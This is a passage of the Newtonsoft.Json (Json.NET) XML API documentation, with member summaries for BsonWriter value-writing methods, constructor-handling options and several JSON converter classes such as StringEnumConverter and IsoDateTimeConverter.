set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteObjectId(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value that represents a BSON object id.\n            </summary>\n            <param name=\"value\">The Object ID value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRegex(System.String,System.String)\">\n            <summary>\n            Writes a BSON regex.\n            </summary>\n            <param name=\"pattern\">The regex pattern.</param>\n            <param name=\"options\">The regex options.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ConstructorHandling\">\n            <summary>\n            Specifies how constructors are used when initializing objects during deserialization by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.Default\">\n            <summary>\n            First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.AllowNonPublicDefaultConstructor\">\n            <summary>\n            Json.NET will use a non-public default constructor before falling back to a parameterized constructor.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BinaryConverter\">\n            <summary>\n            Converts a binary value to and from a base 64 string value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BsonObjectIdConverter\">\n            <summary>\n            Converts a <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.CustomCreationConverter`1\">\n            <summary>\n            Creates a custom object.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.Create(System.Type)\">\n            <summary>\n            Creates an object which will then be populated by the serializer.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The created object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value>\n            \t<c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DataSetConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Data.DataSet\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DataTableConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Data.DataTable\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DateTimeConverterBase\">\n            <summary>\n            Provides a base class for converting a <see cref=\"T:System.DateTime\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DateTimeConverterBase.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DiscriminatedUnionConverter\">\n            <summary>\n            Converts a F# discriminated union type to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.EntityKeyMemberConverter\">\n            <summary>\n            Converts an Entity Framework <see cref=\"T:System.Data.EntityKeyMember\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.EntityKeyMemberConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.EntityKeyMemberConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.EntityKeyMemberConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.ExpandoObjectConverter\">\n            <summary>\n            Converts an <see cref=\"T:System.Dynamic.ExpandoObject\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.ExpandoObjectConverter.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value>\n            \t<c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.IsoDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from the ISO 8601 date format (e.g. <c>\"2008-04-12T12:53Z\"</c>).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeStyles\">\n            <summary>\n            Gets or sets the date time styles used when converting a date to and from JSON.\n            </summary>\n            <value>The date time styles used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeFormat\">\n            <summary>\n            Gets or sets the date time format used when converting a date to and from JSON.\n            </summary>\n            <value>The date time format used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.Culture\">\n            <summary>\n            Gets or sets the culture used when converting a date to and from JSON.\n            </summary>\n            <value>The culture used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from a JavaScript <c>Date</c> constructor (e.g. <c>new Date(52231943)</c>).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.KeyValuePairConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Collections.Generic.KeyValuePair`2\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.RegexConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Text.RegularExpressions.Regex\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.StringEnumConverter\">\n            <summary>\n            Converts an <see cref=\"T:System.Enum\"/> to and from its name string value.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.CamelCaseText\">\n            <summary>\n            Gets or sets a value indicating whether the written enum text should be camel case.\n            The default value is <c>false</c>.\n            </summary>\n            <value><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how enum text is written.\n            </summary>\n            <value>The naming strategy used to resolve how enum text is written.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.AllowIntegerValues\">\n            <summary>\n            Gets or sets a value indicating whether integer values are allowed when serializing and deserializing.\n            The default value is <c>true</c>.\n            </summary>\n            <value><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"camelCaseText\"><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(Newtonsoft.Json.Serialization.NamingStrategy,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategy\">The naming strategy used to resolve how enum text is written.</param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When 